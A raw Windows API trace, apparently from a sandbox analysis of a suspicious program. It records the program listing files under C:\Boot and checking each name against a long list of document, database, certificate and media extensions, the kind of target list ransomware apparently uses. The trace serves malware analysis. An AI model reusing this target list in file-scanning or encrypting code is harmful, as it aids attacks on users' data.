	[0167.146] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1
	[0167.146] lstrlenW (lpString=".erf") returned 4
	[0167.146] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".exr") returned 4
	[0167.146] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".f4v") returned 4
	[0167.146] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".fido") returned 5
	[0167.146] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1
	[0167.146] lstrlenW (lpString=".flm") returned 4
	[0167.146] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0167.146] lstrlenW (lpString=".flv") returned 4
	[0167.147] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".frm") returned 4
	[0167.147] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".fxg") returned 4
	[0167.147] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".geo") returned 4
	[0167.147] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".gif") returned 4
	[0167.147] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".grs") returned 4
	[0167.147] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".gz") returned 3
	[0167.147] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0167.147] lstrlenW (lpString=".h") returned 2
	[0167.147] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0167.147] lstrlenW (lpString=".hdr") returned 4
	[0167.147] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".hpp") returned 4
	[0167.147] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".hta") returned 4
	[0167.147] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".htc") returned 4
	[0167.147] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".htm") returned 4
	[0167.147] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".html") returned 5
	[0167.147] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1
	[0167.147] lstrlenW (lpString=".icb") returned 4
	[0167.147] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".ics") returned 4
	[0167.147] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0167.147] lstrlenW (lpString=".iff") returned 4
	[0167.148] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".inc") returned 4
	[0167.148] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".indd") returned 5
	[0167.148] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1
	[0167.148] lstrlenW (lpString=".ini") returned 4
	[0167.148] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".iqy") returned 4
	[0167.148] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".j2c") returned 4
	[0167.148] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".j2k") returned 4
	[0167.148] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".java") returned 5
	[0167.148] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1
	[0167.148] lstrlenW (lpString=".jp2") returned 4
	[0167.148] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".jpc") returned 4
	[0167.148] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".jpe") returned 4
	[0167.148] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".jpeg") returned 5
	[0167.148] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1
	[0167.148] lstrlenW (lpString=".jpf") returned 4
	[0167.148] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".jpg") returned 4
	[0167.148] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".jpx") returned 4
	[0167.148] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0167.148] lstrlenW (lpString=".js") returned 3
	[0167.148] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0167.148] lstrlenW (lpString=".jsf") returned 4
	[0167.148] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".json") returned 5
	[0167.149] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1
	[0167.149] lstrlenW (lpString=".jsp") returned 4
	[0167.149] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".kdc") returned 4
	[0167.149] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".kmz") returned 4
	[0167.149] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".kwm") returned 4
	[0167.149] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".lasso") returned 6
	[0167.149] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1
	[0167.149] lstrlenW (lpString=".lbi") returned 4
	[0167.149] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".lgf") returned 4
	[0167.149] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".lgp") returned 4
	[0167.149] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".log") returned 4
	[0167.149] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".m1v") returned 4
	[0167.149] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".m4a") returned 4
	[0167.149] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".m4v") returned 4
	[0167.149] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".max") returned 4
	[0167.149] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0167.149] lstrlenW (lpString=".md") returned 3
	[0167.149] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0167.149] lstrlenW (lpString=".mda") returned 4
	[0167.149] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mdb") returned 4
	[0167.150] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mde") returned 4
	[0167.150] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mdf") returned 4
	[0167.150] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mdw") returned 4
	[0167.150] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mef") returned 4
	[0167.150] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mft") returned 4
	[0167.150] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mfw") returned 4
	[0167.150] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mht") returned 4
	[0167.150] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mhtml") returned 6
	[0167.150] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1
	[0167.150] lstrlenW (lpString=".mka") returned 4
	[0167.150] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mkidx") returned 6
	[0167.150] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1
	[0167.150] lstrlenW (lpString=".mkv") returned 4
	[0167.150] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mos") returned 4
	[0167.150] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mov") returned 4
	[0167.150] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mp3") returned 4
	[0167.150] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0167.150] lstrlenW (lpString=".mp4") returned 4
	[0167.150] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0167.151] lstrlenW (lpString=".mpeg") returned 5
	[0167.151] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1
	[0167.151] lstrlenW (lpString=".mpg") returned 4
	[0167.151] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0167.151] lstrlenW (lpString=".mpv") returned 4
	[0167.151] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0167.151] lstrlenW (lpString=".mrw") returned 4
	[0167.151] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0167.151] lstrlenW (lpString=".msg") returned 4
	[0167.151] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0167.151] lstrlenW (lpString=".mxl") returned 4
	[0167.151] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".myd") returned 4
	[0167.151] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".myi") returned 4
	[0167.151] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".nef") returned 4
	[0167.151] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".nrw") returned 4
	[0167.151] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".obj") returned 4
	[0167.151] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".odb") returned 4
	[0167.151] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".odc") returned 4
	[0167.151] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".odm") returned 4
	[0167.151] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".odp") returned 4
	[0167.151] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0167.151] lstrlenW (lpString=".ods") returned 4
	[0167.152] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".oft") returned 4
	[0167.152] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".one") returned 4
	[0167.152] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".onepkg") returned 7
	[0167.152] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1
	[0167.152] lstrlenW (lpString=".onetoc2") returned 8
	[0167.152] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1
	[0167.152] lstrlenW (lpString=".opt") returned 4
	[0167.152] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".oqy") returned 4
	[0167.152] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".orf") returned 4
	[0167.152] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".p12") returned 4
	[0167.152] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".p7b") returned 4
	[0167.152] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".p7c") returned 4
	[0167.152] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".pam") returned 4
	[0167.152] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".pbm") returned 4
	[0167.152] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".pct") returned 4
	[0167.152] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".pcx") returned 4
	[0167.152] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1
	[0167.152] lstrlenW (lpString=".pdd") returned 4
	[0167.152] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pdf") returned 4
	[0167.153] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pdp") returned 4
	[0167.153] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pef") returned 4
	[0167.153] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pem") returned 4
	[0167.153] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pff") returned 4
	[0167.153] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pfm") returned 4
	[0167.153] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pfx") returned 4
	[0167.153] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".pgm") returned 4
	[0167.153] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".php") returned 4
	[0167.153] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1
	[0167.153] lstrlenW (lpString=".php3") returned 5
	[0167.153] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1
	[0167.153] lstrlenW (lpString=".php4") returned 5
	[0167.153] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1
	[0167.153] lstrlenW (lpString=".php5") returned 5
	[0167.153] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1
	[0167.153] lstrlenW (lpString=".phtml") returned 6
	[0167.153] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1
	[0167.153] lstrlenW (lpString=".pict") returned 5
	[0167.153] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1
	[0167.153] lstrlenW (lpString=".pl") returned 3
	[0167.153] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1
	[0167.153] lstrlenW (lpString=".pls") returned 4
	[0167.153] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".pm") returned 3
	[0167.154] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1
	[0167.154] lstrlenW (lpString=".png") returned 4
	[0167.154] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".pnm") returned 4
	[0167.154] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".pot") returned 4
	[0167.154] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".potm") returned 5
	[0167.154] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".potx") returned 5
	[0167.154] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".ppa") returned 4
	[0167.154] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".ppam") returned 5
	[0167.154] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".ppm") returned 4
	[0167.154] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".pps") returned 4
	[0167.154] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".ppsm") returned 5
	[0167.154] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".ppt") returned 4
	[0167.154] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".pptm") returned 5
	[0167.154] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".pptx") returned 5
	[0167.154] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1
	[0167.154] lstrlenW (lpString=".prn") returned 4
	[0167.154] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1
	[0167.154] lstrlenW (lpString=".ps") returned 3
	[0167.154] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1
	[0167.154] lstrlenW (lpString=".psb") returned 4
	[0167.155] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".psd") returned 4
	[0167.155] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".pst") returned 4
	[0167.155] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".ptx") returned 4
	[0167.155] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".pub") returned 4
	[0167.155] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".pwm") returned 4
	[0167.155] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".pxr") returned 4
	[0167.155] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".py") returned 3
	[0167.155] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1
	[0167.155] lstrlenW (lpString=".qt") returned 3
	[0167.155] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1
	[0167.155] lstrlenW (lpString=".r3d") returned 4
	[0167.155] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".raf") returned 4
	[0167.155] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1
	[0167.155] lstrlenW (lpString=".rar") returned 4
	[0167.155] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.155] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0167.156] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0167.156] FindClose (in: hFindFile=0x6abe98 | out: hFindFile=0x6abe98) returned 1
	[0167.157] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4410728 | out: hHeap=0x610000) returned 1
	[0167.157] FindNextFileW (in: hFindFile=0x6abd98, lpFindFileData=0x350fa7c | out: lpFindFileData=0x350fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0167.157] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4410728
	[0167.157] lstrlenW (lpString="C:\\Boot\\es-MX") returned 13
	[0167.157] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6abe98
	[0167.158] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.158] FindNextFileW (in: hFindFile=0x6abe98, lpFindFileData=0x350f800 | out: lpFindFileData=0x350f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0167.158] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.158] lstrlenW (lpString=".1cd") returned 4
	[0167.158] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.158] lstrlenW (lpString=".3ds") returned 4
	[0167.158] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0167.158] lstrlenW (lpString=".3fr") returned 4
	[0167.158] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0167.158] lstrlenW (lpString=".3g2") returned 4
	[0167.158] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0167.158] lstrlenW (lpString=".3gp") returned 4
	[0167.158] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0167.158] lstrlenW (lpString=".7z") returned 3
	[0167.159] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.159] lstrlenW (lpString=".accda") returned 6
	[0167.159] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".accdb") returned 6
	[0167.159] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".accdc") returned 6
	[0167.159] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".accde") returned 6
	[0167.159] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".accdt") returned 6
	[0167.159] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".accdw") returned 6
	[0167.159] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1
	[0167.159] lstrlenW (lpString=".adb") returned 4
	[0167.159] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".adp") returned 4
	[0167.159] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".ai") returned 3
	[0167.159] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0167.159] lstrlenW (lpString=".ai3") returned 4
	[0167.159] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".ai4") returned 4
	[0167.159] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".ai5") returned 4
	[0167.159] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".ai6") returned 4
	[0167.159] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0167.159] lstrlenW (lpString=".ai7") returned 4
	[0167.160] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".ai8") returned 4
	[0167.160] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".anim") returned 5
	[0167.160] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1
	[0167.160] lstrlenW (lpString=".arw") returned 4
	[0167.160] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".as") returned 3
	[0167.160] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0167.160] lstrlenW (lpString=".asa") returned 4
	[0167.160] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".asc") returned 4
	[0167.160] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".ascx") returned 5
	[0167.160] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1
	[0167.160] lstrlenW (lpString=".asm") returned 4
	[0167.160] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".asmx") returned 5
	[0167.160] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1
	[0167.160] lstrlenW (lpString=".asp") returned 4
	[0167.160] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".aspx") returned 5
	[0167.160] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1
	[0167.160] lstrlenW (lpString=".asr") returned 4
	[0167.160] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".asx") returned 4
	[0167.160] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0167.160] lstrlenW (lpString=".avi") returned 4
	[0167.160] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".avs") returned 4
	[0167.161] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".backup") returned 7
	[0167.161] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1
	[0167.161] lstrlenW (lpString=".bak") returned 4
	[0167.161] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".bay") returned 4
	[0167.161] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".bd") returned 3
	[0167.161] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0167.161] lstrlenW (lpString=".bin") returned 4
	[0167.161] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".bmp") returned 4
	[0167.161] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".bz2") returned 4
	[0167.161] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".c") returned 2
	[0167.161] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0167.161] lstrlenW (lpString=".cdr") returned 4
	[0167.161] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".cer") returned 4
	[0167.161] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0167.161] lstrlenW (lpString=".cf") returned 3
	[0167.161] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
